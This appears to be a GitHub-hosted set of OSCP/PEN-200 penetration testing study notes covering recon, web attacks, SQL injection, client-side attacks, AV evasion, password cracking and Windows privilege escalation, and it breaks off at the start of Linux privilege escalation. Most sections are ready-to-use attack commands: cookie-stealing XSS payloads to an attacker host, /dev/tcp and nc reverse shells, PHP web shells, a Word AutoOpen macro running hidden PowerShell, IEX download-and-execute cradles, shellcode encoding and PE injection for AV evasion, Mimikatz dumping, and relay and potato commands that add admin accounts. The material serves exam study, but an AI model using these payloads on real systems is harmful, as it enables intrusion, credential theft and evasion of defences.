Skip to content

Latest commit

 

History

History
2149 lines (1646 loc) · 59.2 KB

File metadata and controls

2149 lines (1646 loc) · 59.2 KB

🛡️ OSCP / PEN-200 Master Pentesting Database

OffSec Penetration Testing with Kali Linux — Complete Study Notes

Based on: OffSec PEN-200 | Try Harder Methodology

Table of Contents

# Module
01 Penetration Testing Methodology
02 Report Writing
03 Information Gathering — Passive
04 Information Gathering — Active
05 Vulnerability Scanning
06 Web Application Attacks
07 SQL Injection
08 Client-Side Attacks
09 Locating & Fixing Public Exploits
10 Antivirus Evasion
11 Password Attacks
12 Windows Privilege Escalation
13 Linux Privilege Escalation
14 Port Redirection & SSH Tunneling
15 The Metasploit Framework
16 Active Directory — Enumeration
17 Active Directory — Attacks
18 Active Directory — Lateral Movement
19 Active Directory — Persistence
20 Shells & File Transfers
21 Reporting Templates
22 OSCP Exam Checklists
23 Essential Resources & Links

01 Penetration Testing Methodology

The Pentesting Lifecycle (OffSec Model)

1. SCOPING & ENGAGEMENT RULES
   Define in-scope IPs/domains, forbidden actions, emergency contacts

2. INFORMATION GATHERING
   Passive (no target interaction) then Active (direct interaction)

3. VULNERABILITY SCANNING
   Automated discovery + manual validation

4. EXPLOITATION
   Gain initial access / foothold

5. POST-EXPLOITATION
   Situational awareness, credential harvesting, loot

6. PRIVILEGE ESCALATION
   User → Root / SYSTEM / Domain Admin

7. LATERAL MOVEMENT / PIVOTING
   Move to other hosts, internal networks

8. REPORTING
   Document every step with timestamped evidence

OffSec Core Mindsets

  • Try Harder — exhaust every option before moving on
  • Enumerate more — most OSCP failures come from incomplete enumeration
  • No magic bullets — methodology > tool dependency
  • Document everything — if it is not written down, it did not happen

02 Report Writing

Note-Taking Best Practices

  • Screenshot immediately after every significant action
  • Every proof screenshot must show: whoami + hostname + ip a / ipconfig + flag content in ONE frame
  • Recommended tools: Obsidian, CherryTree, Notion
  • Organize notes per host: IP / ports / services / vulns / exploit / loot

Penetration Test Report Structure

1.  Cover Page        — title, date, client, assessor
2.  Executive Summary — business-level risk, top findings, immediate actions
3.  Scope             — IPs, domains, testing window, rules of engagement
4.  Methodology       — black/gray/white box, tools used
5.  Attack Narrative  — step-by-step story with all evidence
6.  Technical Findings — per vuln: severity, CVSS, description, evidence, remediation
7.  Appendices        — raw tool output, exploit code, references

Finding Severity Ratings

Severity CVSS Range Example
Critical 9.0-10.0 Unauthenticated RCE
High 7.0-8.9 Auth RCE, privesc
Medium 4.0-6.9 SQLi (no RCE), XSS stored
Low 0.1-3.9 Info disclosure
Info 0.0 Missing security header

03 Information Gathering — Passive Recon

Collect information without touching the target directly.

WHOIS Enumeration

# Domain lookup
whois domain.com
whois domain.com -h <whois-server>

# Reverse IP lookup
whois 203.0.113.10

# What to look for:
# Registrant name / email / phone
# Name servers (NS records) — reveal hosting provider
# Registration and expiry dates
# Admin contact info for social engineering

Google Dorks (GHDB)

# Site-scoped searches
site:target.com
site:target.com filetype:pdf
site:target.com filetype:txt
site:target.com -filetype:html          # reveals directory indexes
site:target.com inurl:admin
site:target.com inurl:login
site:target.com inurl:config
site:target.com intitle:"index of"
site:target.com "password"
site:target.com ext:xml | ext:conf | ext:bak | ext:log

# Credential exposure
filetype:sql "INSERT INTO" site:target.com
filetype:log site:target.com
"wp-config.php" site:target.com
intitle:"phpinfo()" site:target.com

# Google Hacking Database:
# https://www.exploit-db.com/google-hacking-database

Netcraft

# URL: https://searchdns.netcraft.com/
# Shows: web server technology, IP history, subdomains, SSL cert details,
#        hosting provider, site registration date
# Enter target domain and review all tabs

Shodan

# URL: https://www.shodan.io/
# Best passive recon tool for internet-facing infrastructure

# CLI
shodan init <API_KEY>
shodan search "hostname:target.com"
shodan search "org:\"Target Company\""
shodan host <IP>

# Useful Shodan filters:
hostname:target.com
org:"Company Name"
net:192.168.1.0/24
port:22
os:"Windows Server 2019"
product:"Apache httpd"
ssl.cert.subject.cn:"target.com"
http.favicon.hash:<hash>            # find same app on other IPs

Email / Subdomain OSINT

# theHarvester — emails, subdomains, IPs
theHarvester -d target.com -l 500 -b all
theHarvester -d target.com -l 500 -b google,linkedin,bing

# Amass — comprehensive passive
amass enum -passive -d target.com -o amass_out.txt

# crt.sh — SSL certificate transparency
# URL: https://crt.sh/?q=%25.target.com
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq '.[].name_value' | sort -u

# DNSdumpster: https://dnsdumpster.com/
# Hunter.io (emails): https://hunter.io/
# VirusTotal (subdomains): https://virustotal.com/gui/domain/target.com/relations

SSL/TLS Analysis

# SSL Labs graded SSL analysis:
https://www.ssllabs.com/ssltest/analyze.html?d=target.com

# Security Headers (HTTP headers):
https://securityheaders.com/?q=target.com

# What to look for:
# Weak cipher suites (RC4, 3DES, export ciphers)
# Expired or self-signed certificates
# SAN entries in cert — reveals other domains on same server
# Missing: HSTS, CSP, X-Frame-Options, X-Content-Type-Options

GitHub / Code Repository OSINT

# Manual search:
site:github.com "target.com" password
site:github.com "target.com" secret
site:github.com "target.com" api_key
site:github.com org:target-org

# GitLeaks (scan repos for secrets)
gitleaks detect --source . --report-path report.json

# TruffleHog
trufflehog github --org=target-org

04 Information Gathering — Active Recon

Directly interact with the target to map the full attack surface.

Port Scanning with Nmap

# STEP 1 — Fast full port scan
sudo nmap -p- --min-rate 5000 -T4 <IP> -oN 01_allports.txt

# STEP 2 — Service + scripts on discovered ports
sudo nmap -sC -sV -p <ports> <IP> -oN 02_services.txt

# STEP 3 — UDP top 20
sudo nmap -sU --top-ports 20 <IP> -oN 03_udp.txt

# Common Nmap flags
-sS          # SYN scan (stealth, needs root)
-sT          # TCP connect scan (no root)
-sU          # UDP scan
-sV          # Version detection
-sC          # Default scripts
-O           # OS detection
-A           # All: OS + version + scripts + traceroute
-p-          # All 65535 ports
-T4          # Fast timing template
--min-rate 5000  # Min packet rate
-Pn          # Skip ping (assume up)
-oN file     # Normal output
-oG file     # Grepable output
-oA base     # All formats

# Ping sweep
sudo nmap -sn 192.168.1.0/24

# Scan through proxychains
proxychains nmap -sT -Pn -p 80,443,445 <IP>

DNS Enumeration

# Basic queries
host www.target.com
host -t mx target.com          # Mail servers
host -t ns target.com          # Name servers
host -t txt target.com         # SPF, DKIM, etc.
dig target.com any
dig @<DNS_SERVER> target.com

# Zone transfer attempt (try every NS!)
host -l target.com ns1.target.com
dig axfr target.com @ns1.target.com

# Automate zone transfer against all NSes:
for ns in $(host -t ns target.com | awk '{print $4}'); do
  echo "=== $ns ==="; host -l target.com $ns; done

# dnsrecon
dnsrecon -d target.com -t std          # Standard enum
dnsrecon -d target.com -t axfr         # Zone transfer
dnsrecon -d target.com -D names.txt -t brt  # Brute force

# dnsenum
dnsenum target.com
dnsenum --dnsserver 8.8.8.8 target.com

# Gobuster DNS
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

SMB Enumeration (Ports 139/445)

# Nmap SMB scripts
nmap --script smb-vuln* -p 139,445 <IP>
nmap --script smb-enum-shares,smb-enum-users -p 139,445 <IP>
nmap --script smb-security-mode,smb-os-discovery -p 445 <IP>

# Enum4linux-ng (best all-in-one)
enum4linux-ng -A <IP>
enum4linux -a <IP>

# SMBClient
smbclient -L //<IP> -N                     # List shares (null session)
smbclient //<IP>/share -N                  # Connect anonymous
smbclient //<IP>/share -U 'user%pass'      # With credentials
# Inside smbclient: ls, get file, mget *, recurse ON, prompt OFF

# CrackMapExec
crackmapexec smb <IP>
crackmapexec smb <IP> -u '' -p '' --shares
crackmapexec smb <IP> -u <user> -p <pass> --shares
crackmapexec smb <IP> -u <user> -p <pass> --users
crackmapexec smb <IP> -u <user> -p <pass> --loggedon-users
crackmapexec smb <IP> -u <user> -p <pass> -x "whoami"

# smbmap
smbmap -H <IP>
smbmap -H <IP> -u <user> -p <pass>
smbmap -H <IP> -u <user> -p <pass> -r share
smbmap -H <IP> -u <user> -p <pass> --download share/file.txt

# Check EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 <IP>

SMTP Enumeration (Port 25)

nc -nv <IP> 25

# SMTP commands for user enumeration:
VRFY root           # Verify user exists
EXPN list           # Expand mailing list
RCPT TO: root       # Check valid recipient

# Nmap
nmap --script smtp-enum-users,smtp-commands,smtp-open-relay -p 25 <IP>

# smtp-user-enum
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t <IP>
smtp-user-enum -M RCPT -U users.txt -t <IP>

SNMP Enumeration (UDP 161)

# Scan for SNMP
sudo nmap -sU --open -p 161 192.168.1.0/24 -oG snmp.txt

# SNMPwalk — dump everything
snmpwalk -c public -v1 <IP>
snmpwalk -c public -v2c <IP>

# Targeted OID queries (Windows):
snmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25    # Local users
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2   # Running processes
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.6.13.1.3     # Open TCP ports
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2   # Installed software

# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt -i ips.txt

# Human-readable output
snmp-check <IP>

LDAP Enumeration (Port 389/636)

# Anonymous bind
ldapsearch -x -H ldap://<IP> -b "dc=domain,dc=com"
ldapsearch -x -H ldap://<IP> -b "" -s base namingContexts   # Get base DNs

# Authenticated
ldapsearch -x -H ldap://<IP> -D "user@domain.com" -w <pass> -b "dc=domain,dc=com"

# ldapdomaindump — dump entire AD via LDAP
ldapdomaindump <IP> -u 'domain\user' -p '<pass>' -o ldap_dump/

# windapsearch
python3 windapsearch.py --dc-ip <IP> -u "" --users
python3 windapsearch.py --dc-ip <IP> -u "" --groups
python3 windapsearch.py --dc-ip <IP> -d domain.com -u <user> -p <pass> --da

Living off the Land (LOtL)

:: Windows built-ins — no tools needed
net user                             :: Local users
net user /domain                     :: Domain users
net group /domain                    :: Domain groups
net group "Domain Admins" /domain    :: DA members
net localgroup administrators        :: Local admins
net share                            :: Shared folders
systeminfo                           :: OS, patches, architecture
ipconfig /all                        :: Network config
arp -a                               :: Arp cache (neighbours)
netstat -ano                         :: Ports + PIDs
tasklist /SVC                        :: Processes with services
wmic product get name,version        :: Installed software
cmdkey /list                         :: Saved credentials
# Linux built-ins
id; whoami; hostname; uname -a; cat /etc/os-release
cat /etc/passwd; cat /etc/group
ip a; ip route; ss -antup; arp -a
ps aux
find / -name "*.conf" 2>/dev/null | head -20

05 Vulnerability Scanning

Nessus

# Install
dpkg -i Nessus-*.deb
systemctl start nessusd
# Access: https://127.0.0.1:8834
# Free tier: Nessus Essentials (16 IPs)

# Key scan types:
# Basic Network Scan         — standard assessment
# Advanced Scan              — fine-grained control
# Credentialed Patch Audit   — authenticated deep scan (SSH / SMB / WMI creds)

# Most valuable output: CVSS score, CVE, plugin output, suggested remediation

Nmap NSE Vulnerability Scanning

# List vulnerability scripts
ls /usr/share/nmap/scripts/ | grep vuln
grep "'vuln'" /usr/share/nmap/scripts/*.nse

# Run all vuln scripts
nmap --script vuln <IP>

# Specific checks
nmap --script smb-vuln-ms17-010 -p 445 <IP>      # EternalBlue (MS17-010)
nmap --script smb-vuln-ms08-067 -p 445 <IP>       # NetAPI (MS08-067)
nmap --script http-shellshock --script-args uri=/cgi-bin/test.cgi <IP>
nmap --script ftp-proftpd-backdoor -p 21 <IP>
nmap --script http-vuln-cve2017-5638 <IP>          # Apache Struts2

# Update scripts
sudo nmap --script-updatedb

06 Web Application Attacks

Methodology

1. Fingerprint tech stack (WhatWeb, Wappalyzer, response headers)
2. Crawl with Burp Suite (set scope, enable passive scanner)
3. Enumerate directories and files (Gobuster, Feroxbuster, ffuf)
4. Identify all input vectors (GET/POST params, headers, cookies, JSON)
5. Test each input: XSS, SQLi, LFI/RFI, Command Injection, File Upload
6. Check authentication (default creds, brute force, bypass logic)
7. Review: robots.txt, sitemap.xml, JS source, .git/, backup files

Fingerprinting

whatweb http://<IP>
whatweb -v http://<IP>       # Verbose

# Inspect headers
curl -I http://<IP>
curl -v http://<IP>

# Check common files
curl http://<IP>/robots.txt
curl http://<IP>/.git/HEAD
curl http://<IP>/sitemap.xml
curl http://<IP>/crossdomain.xml

Directory & File Enumeration

# Gobuster
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt,js,zip -t 50 -o gobuster.txt

gobuster dir -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

gobuster vhost -u http://target.com \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Feroxbuster (recursive)
feroxbuster -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,html,js,txt -r

# ffuf
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
ffuf -u http://<IP>/FUZZ -w wordlist.txt -fc 404         # filter 404
ffuf -u http://<IP>/?FUZZ=test -w params.txt              # param fuzzing

# Nikto
nikto -h http://<IP>
nikto -h http://<IP> -ssl

Cross-Site Scripting (XSS)

<!-- Detection payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert(1)>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')

<!-- Filter bypasses -->
<ScRiPt>alert('XSS')</ScRiPt>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;(1)">
<svg><script>alert&#40;1&#41;</script>

<!-- Cookie stealing (set up listener first) -->
<script>document.location='http://<LHOST>/steal?c='+document.cookie</script>
<script>new Image().src='http://<LHOST>/steal?c='+document.cookie</script>

<!-- Privilege escalation via XSS:
     1. Steal admin session cookie
     2. CSRF to create new admin account
     3. Use admin functionality to get RCE -->

Directory Traversal

# Basic
http://<IP>/page?file=../../../../etc/passwd
http://<IP>/page?file=../../../../windows/system32/drivers/etc/hosts

# Encoding bypasses
..%2F..%2F..%2Fetc%2Fpasswd            # URL encoded
..%252F..%252F..%252Fetc%252Fpasswd    # Double encoded
....//....//....//etc/passwd            # Filter bypass
..././..././..././etc/passwd

# PHP null byte (PHP < 5.3)
../../../../etc/passwd%00

# Linux sensitive files
/etc/passwd
/etc/shadow
/etc/crontab
/home/<user>/.ssh/id_rsa
/home/<user>/.bash_history
/var/log/apache2/access.log
/proc/self/environ
/proc/net/tcp

# Windows sensitive files
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\Users\Administrator\Desktop\proof.txt

File Inclusion (LFI / RFI)

# LFI basic
http://<IP>/index.php?page=../../../../etc/passwd

# PHP wrappers
# Base64 encode file source (to read PHP code)
http://<IP>/index.php?page=php://filter/convert.base64-encode/resource=index.php
# Decode: echo "<base64>" | base64 -d

# data:// (execute PHP via URL)
http://<IP>/index.php?page=data:text/plain,<?php echo shell_exec($_GET['cmd']);?>

# Log poisoning (LFI to RCE)
# Step 1 — confirm log readable
http://<IP>/index.php?page=/var/log/apache2/access.log
# Step 2 — inject PHP code in User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://<IP>/
# Step 3 — execute
http://<IP>/index.php?page=/var/log/apache2/access.log&cmd=whoami

# RFI
# Host malicious PHP on Kali:
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > /var/www/html/shell.php
python3 -m http.server 80
# Include:
http://<IP>/index.php?page=http://<LHOST>/shell.php&cmd=id

File Upload Vulnerabilities

# Extension bypasses
shell.php5 / shell.php4 / shell.php3 / shell.phtml
shell.pHp / shell.PhP / shell.PHP

# Double extension
shell.jpg.php
shell.php.jpg

# MIME type bypass in Burp:
# Change: Content-Type: application/octet-stream → Content-Type: image/jpeg

# Magic bytes bypass (add valid image header)
GIF89a;
<?php system($_GET['cmd']); ?>

# Minimal web shells
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?php passthru($_GET['cmd']); ?>

# After upload — find file URL and execute
http://<IP>/uploads/shell.php?cmd=id
http://<IP>/uploads/shell.php?cmd=nc+-e+/bin/sh+<LHOST>+4444

Command Injection

# Injection characters
;           # Run after
|           # Pipe
&&          # Run if previous succeeds
||          # Run if previous fails
`cmd`       # Backtick exec
$(cmd)      # Subshell exec
%0a         # URL newline

# Test payloads (insert into form fields)
; id
| id
; cat /etc/passwd
$(cat /etc/passwd)

# Blind detection (out-of-band)
; ping -c 3 <LHOST>
; curl http://<LHOST>/
; nslookup <LHOST>

# Reverse shell via command injection
; bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

07 SQL Injection

SQLi Types

In-band / Error-based   → error messages reveal DB data
In-band / UNION-based   → extract data via UNION SELECT
Blind / Boolean-based   → different responses for true/false
Blind / Time-based      → SLEEP() delays indicate injection

Manual Injection

-- Detection
'
''
' OR '1'='1
' OR 1=1--
' OR 1=1#
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--     -- error reveals column count

-- UNION-based: find column count
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

-- Find text columns
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'--

-- Extract data (MySQL)
' UNION SELECT user(),database()--
' UNION SELECT @@version,NULL--
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--

-- MSSQL
'; SELECT @@version--
'; EXEC xp_cmdshell('whoami')--

-- Enable xp_cmdshell (MSSQL)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

-- MySQL file operations
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
' UNION SELECT NULL,"<?php system($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'--

SQLmap

# Basic
sqlmap -u "http://<IP>/page?id=1"
sqlmap -u "http://<IP>/page?id=1" --dbs
sqlmap -u "http://<IP>/page?id=1" -D <db> --tables
sqlmap -u "http://<IP>/page?id=1" -D <db> -T users --dump

# POST request
sqlmap -u "http://<IP>/login" --data="user=admin&pass=test"

# From Burp saved request (most reliable method)
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D <db> -T users --dump

# Useful flags
--level=5 --risk=3          # Aggressive
--dbms=mysql                # Specify DBMS
--os-shell                  # Try OS shell
--file-read=/etc/passwd     # Read file
--tamper=space2comment      # Bypass WAF
--random-agent              # Random UA
--technique=BEUSTQ          # All techniques

08 Client-Side Attacks

Target Reconnaissance

# Before launching client-side attacks, gather:
# - Email addresses: theHarvester, Hunter.io
# - Operating systems: job listings, error messages, headers
# - Installed software: social media, LinkedIn job postings
# - Browser/Office versions: fingerprinting pages

Microsoft Office Macros

' Malicious Word macro (save as .doc not .docx)
' Tools -> Macros -> Create -> AutoOpen

Sub AutoOpen()
    Dim Wsh As Object
    Set Wsh = CreateObject("WScript.Shell")
    ' Replace BASE64 with your encoded PowerShell payload:
    Wsh.Run "powershell -nop -w hidden -enc BASE64_PAYLOAD"
End Sub

' Split long payload into concatenated string (VBA max 1024 chars/line):
Sub AutoOpen()
    Dim cmd As String
    cmd = "powershell -nop -w hidden -enc "
    cmd = cmd & "PART1_OF_BASE64"
    cmd = cmd & "PART2_OF_BASE64"
    CreateObject("WScript.Shell").Run cmd, 0, False
End Sub
# Generate base64 PowerShell payload on Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f ps1 > shell.ps1
cat shell.ps1 | iconv -t utf-16le | base64 -w 0

Windows Library Files (.library-ms)

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://<LHOST>/test</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Malicious .lnk Shortcut

$lnk = (New-Object -COM WScript.Shell).CreateShortcut(".\Document.lnk")
$lnk.TargetPath = "\\<LHOST>\share\evil.exe"
$lnk.WindowStyle = "1"
$lnk.IconLocation = "%windir%\system32\shell32.dll, 70"
$lnk.Save()

09 Locating & Fixing Public Exploits

Finding Exploits

# SearchSploit (offline Exploit-DB)
searchsploit apache 2.4.49
searchsploit openssh 7.2
searchsploit -x exploits/linux/remote/12345.py    # Read exploit
searchsploit -m exploits/linux/remote/12345.py    # Copy to CWD
searchsploit --update                              # Update DB

# Online resources:
# https://www.exploit-db.com/           Primary exploit source
# https://nvd.nist.gov/                 CVE details + CVSS
# https://packetstormsecurity.com/      Exploit archive
# https://vulners.com/                  Aggregated search
# https://www.rapid7.com/db/            Metasploit modules
# https://github.com/                   Raw PoC exploits

# Google search patterns:
"<software> <version> exploit site:github.com"
"<software> <version> CVE"
"<software> <version> remote code execution"
"<CVE-ID> exploit github"

Fixing Exploits

# Common exploit issues and fixes:
# 1. Wrong LHOST/LPORT — grep for hardcoded values, replace
# 2. Python 2 vs 3 issues:
#    print "x"   →   print("x")
#    raw_input() →   input()
#    urllib2     →   urllib.request

# 3. Cross-compile Windows exploit on Linux
i686-w64-mingw32-gcc exploit.c -o exploit32.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe -lws2_32    # with WinSock

# 4. Replace shellcode
# Generate new shellcode for your LHOST:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f c -b "\x00"
# Replace the shellcode bytes in the exploit

10 Antivirus Evasion

AV Detection Methods

Signature-based    Matches known malware byte patterns
Heuristic          Detects suspicious behavioral patterns
Sandboxing         Executes file in isolated environment and observes
Machine Learning   AI-based anomaly detection

Manual Evasion

# Encode with Metasploit
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 \
  -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe

# PowerShell in-memory execution (fileless)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')"

# Base64 encode PS command
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://<IP>/shell.ps1")'
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $b64

Shellter (PE Injection)

# Injects shellcode into a legitimate Windows PE file
shellter

# Interactive:
# Operation Mode: A (Automatic)
# PE Target: /path/to/WinRAR-installer.exe
# Enable Stealth Mode: Y
# Use a listed payload: L
# Select: windows/meterpreter/reverse_tcp
# Enter LHOST and LPORT

# Test payload (do NOT upload to VirusTotal — AV vendors get the sample)
# Use: https://antiscan.me/ (private testing)

11 Password Attacks

Network Service Brute Force

# Hydra
hydra -l <user> -P /usr/share/wordlists/rockyou.txt <IP> ssh
hydra -l <user> -P rockyou.txt <IP> ftp
hydra -l <user> -P rockyou.txt <IP> rdp
hydra -l <user> -P rockyou.txt <IP> smb
hydra -L users.txt -P rockyou.txt <IP> ssh    # Multiple users
hydra -l admin -P rockyou.txt <IP> http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# CrackMapExec password spray (1 password, many users)
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!'
crackmapexec smb <IP> -u users.txt -p passwords.txt --no-bruteforce  # 1:1 pairs

Wordlist Mutation

# Hashcat rules (best64 = most commonly successful)
hashcat rockyou.txt -r /usr/share/hashcat/rules/best64.rule --stdout > mutated.txt
hashcat rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule --stdout >> mutated.txt

# John rules
john --wordlist=rockyou.txt --rules --stdout > mutated.txt

Hashcat

# Hash modes (most common in OSCP)
# 0     MD5
# 100   SHA1
# 1000  NTLM                    (Windows login hashes)
# 1800  SHA-512crypt            (Linux $6$ hashes)
# 500   MD5crypt                (Linux $1$ hashes)
# 5600  NetNTLMv2               (Responder captures)
# 13100 Kerberos 5 TGS-REP      (Kerberoasting)
# 18200 Kerberos 5 AS-REP       (AS-REP Roasting)
# 3200  bcrypt                  ($2* hashes)

hashcat -m 1000 ntlm.hash rockyou.txt
hashcat -m 1000 ntlm.hash rockyou.txt -r best64.rule
hashcat -m 13100 kerberoast.hash rockyou.txt
hashcat -m 18200 asrep.hash rockyou.txt
hashcat -m 5600 netntlmv2.hash rockyou.txt

# Show cracked
hashcat -m 1000 ntlm.hash --show

# Brute-force mask attack
hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a?a    # 8-char all chars
# Masks: ?l=lower ?u=upper ?d=digit ?s=special ?a=all

John the Ripper

john hash.txt --wordlist=rockyou.txt
john hash.txt --format=NT --wordlist=rockyou.txt
john hash.txt --format=sha512crypt --wordlist=rockyou.txt
john --show hash.txt

# Convert system files
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt --wordlist=rockyou.txt

# Crack SSH key passphrase
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=rockyou.txt

# Crack ZIP
zip2john secret.zip > zip.hash
john zip.hash --wordlist=rockyou.txt

Dumping Windows Credentials

# SAM dump (needs SYSTEM)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Transfer to Kali:
impacket-secretsdump -sam sam.bak -system system.bak LOCAL

# Mimikatz (on Windows — needs admin)
.\mimikatz.exe
privilege::debug
token::elevate
sekurlsa::logonpasswords      # Plaintext passwords + hashes
lsadump::sam                  # SAM database
lsadump::lsa /inject          # LSA secrets
lsadump::dcsync /user:krbtgt  # DCSync (needs DA or DCSync rights)

# Evil-WinRM lsass dump
.\mimikatz.exe "sekurlsa::logonpasswords" exit

NTLM Relay (Responder + ntlmrelayx)

# Step 1 — Edit /etc/responder/Responder.conf: disable SMB and HTTP
# Step 2 — Run Responder for LLMNR/NBT-NS poisoning
sudo responder -I eth0 -dwv

# Step 3 — Run ntlmrelayx to relay captured auth to target
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -tf targets.txt -smb2support -i           # Interactive shell
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c net user hacker P@ss /add"

# Crack captured Net-NTLMv2 hashes
hashcat -m 5600 netntlmv2.txt rockyou.txt

12 Windows Privilege Escalation

Enumeration

whoami /all                    # User, groups, ALL privileges
systeminfo                     # OS, hotfixes, domain
net user; net user /domain
net localgroup administrators
ipconfig /all; netstat -ano
tasklist /SVC
wmic service get name,displayname,pathname,startmode
schtasks /query /fo LIST /v
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
cmdkey /list                   # Saved credentials

# PowerShell history
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Interesting files
dir /s /b C:\Users\ | findstr /i "pass secret key"
findstr /s /i "password" C:\Users\*.txt

Automated Tools

.\winpeas.exe                  # https://github.com/peass-ng/PEASS-ng
Import-Module .\PowerUp.ps1; Invoke-AllChecks
.\Seatbelt.exe -group=all
.\SharpUp.exe audit

Service Binary Hijacking

# Find services with weak binary permissions
wmic service get name,pathname,startmode | findstr /iv "c:\windows"
icacls "C:\path\to\service.exe"
# Look for: BUILTIN\Users:(F) or (W) or Everyone:(F)

# Replace with reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f exe -o evil.exe
copy evil.exe "C:\vulnerable\path\service.exe"
sc stop <service>; sc start <service>

Unquoted Service Path

# Find unquoted paths with spaces
wmic service get name,displayname,pathname,startmode \
  | findstr /i "auto" | findstr /i /v "c:\windows" | findstr /i /v """"

# If path is: C:\Program Files\Vuln App\service.exe
# Windows tries: C:\Program.exe → C:\Program Files\Vuln.exe
# Place payload where writable:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f exe -o "C:\Program Files\Vuln.exe"

Token Impersonation (Potato Attacks)

# Check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
whoami /priv

# PrintSpoofer (Windows 10 / Server 2016+)
.\PrintSpoofer.exe -i -c cmd

# GodPotato (Windows 2012-2022, most universal)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (pre-2019, needs CLSID)
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}
# CLSID list: https://github.com/ohpe/juicy-potato/tree/master/CLSID

AlwaysInstallElevated

# Check if both keys are set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Create and install malicious MSI
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi

13 Linux Privilege Escalation

Enumeration

id; whoami; hostname; uname -a; cat /etc/os-release; env
cat /etc/passwd; cat /etc/group; ls -la /home/*
sudo -l
ss -antup; ip a; ip route; cat /etc/hosts
ps aux
cat ~/.bash_history; cat ~/.mysql_history
find / -name "*.conf" 2>/dev/null | head -20
find / -name "id_rsa" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null
find / -name "config.php" 2>/dev/null

Automated Tools

# LinPEAS (most comprehensive)
